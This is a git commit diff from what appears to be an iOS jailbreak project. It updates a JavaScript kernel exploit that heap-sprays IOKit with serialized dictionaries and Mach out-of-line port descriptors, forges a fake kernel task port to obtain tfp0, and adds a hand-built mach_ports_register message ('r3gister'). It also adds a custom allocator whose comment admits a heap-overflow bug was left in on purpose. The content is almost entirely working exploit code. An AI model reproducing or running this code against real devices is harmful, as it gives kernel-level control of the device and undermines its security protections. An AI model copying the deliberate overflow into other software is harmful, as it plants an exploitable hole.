summaryrefslogtreecommitdiff
path: root/src/js
diff options
context:
space:
mode:
authorspv420 <spv@spv.sh>2022-07-13 20:32:27 -0400
committerspv420 <spv@spv.sh>2022-07-13 20:32:27 -0400
commit3df21d6c8d6c978cedaac23dbbf4c106dee9120f (patch)
treedd6d99bd09f276f1069cdb6ff25be70f4b3aaf36 /src/js
parent6d609fb3dc90d646ed25bd89ff9ab37c8b3f9aec (diff)
lol r3gister
Diffstat (limited to 'src/js')
-rwxr-xr-xsrc/js/kexp/exploit.js126
-rwxr-xr-xsrc/js/lib/myutils.js3
-rw-r--r--src/js/primitives/call.js6
-rw-r--r--src/js/primitives/mem.js33
4 files changed, 120 insertions, 48 deletions
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js
index c667dd2..715535d 100755
--- a/src/js/kexp/exploit.js
+++ b/src/js/kexp/exploit.js
@@ -61,11 +61,11 @@ var MIG_MAX = 0x1000;
var NDR_record = 0x36ebf00c;
function spray_data(mem, size, num, portptr) {
- var err = malloc(4);
+ var err = shit_heap(4);
var ret = 0;
- var master = malloc(4);
+ var master = shit_heap(4);
host_get_io_master(mach_host_self(), master);
- var dict = malloc(MIG_MAX);
+ var dict = shit_heap(MIG_MAX);
var __cnt = 0;
write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++;
write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++;
@@ -95,16 +95,16 @@ function spray_data(mem, size, num, portptr) {
}
function copyinPort(kport, cnt) {
- var err = malloc(4);
+ var err = shit_heap(4);
var ret = 0;
var self = task_self;
var service = MACH_PORT_NULL;
- var client = malloc(4);
- var it = malloc(4);
+ var client = shit_heap(4);
+ var it = shit_heap(4);
var o = MACH_PORT_NULL;
- var data = malloc(4);
- var master = malloc(4);
- fakeportData = malloc(4);
+ var data = shit_heap(4);
+ var master = shit_heap(4);
+ fakeportData = shit_heap(4);
var host_self = mach_host_self();
host_get_io_master(mach_host_self(), master);
ret = spray_data(NULL, 0, 5, data);
@@ -123,7 +123,7 @@ function copyinPort(kport, cnt) {
write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size);
}
- var err = malloc(4);
+ var err = shit_heap(4);
var xmls = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
var xml = sptr(xmls);
ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client);
@@ -138,8 +138,8 @@ function copyinPort(kport, cnt) {
var o = IOIteratorNext(read_u32(it));
while (o != MACH_PORT_NULL && !found) {
- var buf = malloc(16 * 4);
- var size = malloc(4);
+ var buf = shit_heap(16 * 4);
+ var size = shit_heap(4);
write_u32(size, 16 * 4);
ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size);
printf("%d %s\n", ret, mach_error_string(ret));
@@ -172,9 +172,9 @@ function prepare_ptr(dict, size, ptr, num) {
}
function spray(dict, size, port) {
- var err = malloc(4);
+ var err = shit_heap(4);
var ret = 0;
- var master = malloc(4);
+ var master = shit_heap(4);
host_get_io_master(mach_host_self(), master);
io_service_add_notification_ool(master, "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port);
@@ -188,14 +188,17 @@ function spray(dict, size, port) {
var kp = 0;
function spray_ports(number_port_descs) {
- printf("spray_ports %d\n", number_port_descs);
if (kp == 0) {
- kp = malloc(4);
+ kp = shit_heap(4);
+ mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
+ mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND);
+ } else if (read_u32(kp) == 0) {
+ kp = shit_heap(4);
mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND);
}
- var mp = malloc(4);
+ var mp = shit_heap(4);
mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp);
mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND);
@@ -205,7 +208,7 @@ function spray_ports(number_port_descs) {
// printf("%d (%s)\n", ret_, mach_error_string(ret_));
var ret = read_u32(mp);
- free(mp);
+ shit_heap_free(mp);
return ret;
}
@@ -231,19 +234,21 @@ function fast_array_mul(arr, n) {
}
function send_ports(target, payload, num, number_port_descs) {
- var init_port_set = malloc(num * 4);
+ var init_port_set = shit_heap(num * 4);
for (var i = 0; i < num; i++) {
write_u32(init_port_set + (i << 2), payload);
}
- // var buf = malloc(0x1c + (number_port_descs * 0xc * 8));
+ // var buf = shit_heap(0x1c + (number_port_descs * 0xc * 8));
// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs);
-// var buf = new Uint32Array((0x1c + (3 * number_port_descs)) / 4);
+// var buf = new Uint32Array((0x1c + (3 * number_port_descs);
- large_buf[req_msgh_body_msgh_descriptor_count / 4] = number_port_descs;
+// write_u32(number_port_descs);
+
+ large_buf[req_msgh_body_msgh_descriptor_count >> 2] = number_port_descs;
var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24));
@@ -267,36 +272,57 @@ function send_ports(target, payload, num, number_port_descs) {
}
function release_port_ptrs(port) {
- var req = malloc(0x1c + (5 * 0xc) + 0x8);
- for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) {
- write_u32(req + i, 0x0);
- }
- printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0"));
+ var req = shit_heap(0x1c + (5 * 0xc) + 0x8);
+// printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0"));
var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
- if (ret != KERN_SUCCESS) {
+ if (ret != KERN_SUCCESS) {
printf("mach_recv %d %s\n", ret, mach_error_string(ret));
}
- free(req);
+ shit_heap_free(req);
+}
+
+function r3gister(task, init_port_set, real_count, fake_count) {
+ var mess = shit_heap(0x1000);
+ var InP = mess;
+ var OutP = mess;
+
+ write_u32(InP + 0x18, 1);
+ write_u32(InP + 0x1c, init_port_set);
+ write_u32(InP + 0x20, real_count);
+ write_u32(InP + 0x24, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)));
+ write_u32(InP + 0x28, read_u32(NDR_record + get_dyld_shc_slide() + 0x0));
+ write_u32(InP + 0x2c, read_u32(NDR_record + get_dyld_shc_slide() + 0x4));
+ write_u32(InP + 0x30, fake_count);
+ write_u32(InP + 0x0, 0x80001513);
+ write_u32(InP + 0x8, task);
+ write_u32(InP + 0xc, mig_get_reply_port());
+ write_u32(InP + 0x14, 3403);
+
+ var ret = mach_msg(InP, 0x3, 0x34, 0x2c, read_u32(InP + 0xc), MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(OutP + 0x24);
+ }
+ return ret;
}
function get_kernel_task() {
var ret = 0;
var tfp0 = 0;
- sanity_port = malloc(4);
+ sanity_port = shit_heap(4);
task_self = mach_task_self();
mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port);
mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND);
- limits = malloc(4);
+ limits = shit_heap(4);
write_u32(limits, 1000);
mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT);
printf("starting exploit\n");
- var data = malloc(16);
- var kport = malloc(kport_size * 2);
+ var data = shit_heap(16);
+ var kport = shit_heap(kport_size * 2);
var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something
write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
write_u32(kport + kport_ip_references4, 100);
@@ -305,14 +331,14 @@ function get_kernel_task() {
write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy
write_u32(kport + kport_ip_srights4, 99);
- var big_buf = malloc(MIG_MAX);
- var small_buf = malloc(MIG_MAX);
+ var big_buf = shit_heap(MIG_MAX);
+ var small_buf = shit_heap(MIG_MAX);
- var big_size = malloc(4);
- var small_size = malloc(4);
+ var big_size = shit_heap(4);
+ var small_size = shit_heap(4);
- var fp = malloc(PORTS_NUM * 4);
- var postSpray = malloc(4);
+ var fp = shit_heap(PORTS_NUM * 4);
+ var postSpray = shit_heap(4);
usleep(10000);
sched_yield();
@@ -325,22 +351,36 @@ function get_kernel_task() {
prepare_ptr(big_buf, big_size, kptr, 256);
prepare_ptr(small_buf, small_size, kptr, 32);
- var dummy = malloc(4);
+ var dummy = shit_heap(4);
for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) {
spray(big_buf, big_size, dummy);
}
- var dummy = malloc(4);
+ var dummy = shit_heap(4);
for (var i = 0; i < PORTS_NUM; i++) {
- write_u32(fp + (i << 2), spray_ports(i));
+// for (var i = 0; i < 8; i++) {
+ if (i % 4 == 0) {
+ printf("spray_ports %d\n", i);
+ }
+ write_u32(fp + (i << 2), spray_ports(1));
spray(small_buf, small_size, dummy);
}
for (var i = 0; i < PORTS_NUM; i++) {
+// for (var i = 0; i < 8; i++) {
release_port_ptrs(read_u32(fp + (i << 2)));
}
+ var arrmpt = shit_heap(8);
+ write_u32(arrmpt, 0);
+ write_u32(arrmpt + 4, 0);
+ var ret__ = r3gister(mach_task_self(), arrmpt, 2, 3);
+ printf("%d %s", ret__, mach_error_string(ret__));
+ printf("r3gister done\n");
+
+
+
printf("get lucky\n");
return tfp0;
-} \ No newline at end of file
+}
diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js
index 89860f8..71777f9 100755
--- a/src/js/lib/myutils.js
+++ b/src/js/lib/myutils.js
@@ -121,4 +121,5 @@ var dlopen = scall_wrapper("dlopen");
var dlsym = scall_wrapper("dlsym");
var CFDictionaryCreateMutable = scall_wrapper("CFDictionaryCreateMutable");
var CFDictionarySetValue = scall_wrapper("CFDictionarySetValue");
-var CFNumberCreate = scall_wrapper("CFNumberCreate"); \ No newline at end of file
+var CFNumberCreate = scall_wrapper("CFNumberCreate");
+var mig_get_reply_port = scall_wrapper("mig_get_reply_port"); \ No newline at end of file
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index 6eaa607..dfd3077 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -310,7 +310,7 @@ function callnarg() {
/*
* r9
*/
- write_u32(thread_state + (11 << 2), 0x1337);
+// write_u32(thread_state + (11 << 2), 0x1337);
/*
* stack
@@ -356,7 +356,7 @@ function callnarg() {
* if the pc is in (resolver, resolver + 8), suspend the thread
* (to not spin endlessly), read r0 and return
*/
- if (((read_u32(thread_state + (15 << 2)) == (__stack_chk_fail_resolver + dyld_shc_slide)))) {
+ if (((read_u32(thread_state + (15 << 2)) >= (__stack_chk_fail_resolver + dyld_shc_slide))) && ((read_u32(thread_state + (15 << 2)) < (__stack_chk_fail_resolver + dyld_shc_slide + 8)))) {
calls4arg("thread_suspend", rth, 0, 0, 0);
return read_u32(thread_state);
}
@@ -416,7 +416,7 @@ function scall() {
for (var i = 0; i < count_to_me; i++) {
args_to_pass.push(0);
}
- return call4arg.apply(this, args_to_pass)
+ return call4arg.apply(this, args_to_pass);
}
}
diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js
index 6e21fb0..b5078eb 100644
--- a/src/js/primitives/mem.js
+++ b/src/js/primitives/mem.js
@@ -257,6 +257,37 @@ function _sptr(s) {
return global_sptr_addy - s.length;
}
+
+/*
+ * _sptr is meant to give you a pointer to a specified string
+ * remember your nul's!
+ */
+function shit_heap(v) {
+ if ((sptr_len + v) >= sptr_size) {
+ /*
+ * expand sptr heap if it's too small
+ * this will technically fail if the string is over 1MB, and will then
+ * cause a heap overflow, but eh whatever
+ *
+ * sometimes it's fun to include esoteric bugs that are unlikely to
+ * cause real harm, to add an exploitation challenge. :P
+ */
+ var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+ var shc_slide = read_u32(reserve_addr + 20 + slid);
+ write_str(0x150000, "realloc\0");
+ sptr_size += 0x100000;
+ var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
+ global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size, 0, 0);
+ }
+// write_str(global_sptr_addy, s);
+ global_sptr_addy += v;
+ return global_sptr_addy - v;
+}
+
+function shit_heap_free(v) {
+ return;
+}
+
/*
* sptr but with nul
*/
@@ -310,4 +341,4 @@ function setup_fancy_rw() {
fancy_rw = true;
printf("%08x\n", u8x4_to_u32([parent[0x5000], parent[0x5001], parent[0x5002], parent[0x5003]]));
-} \ No newline at end of file
+}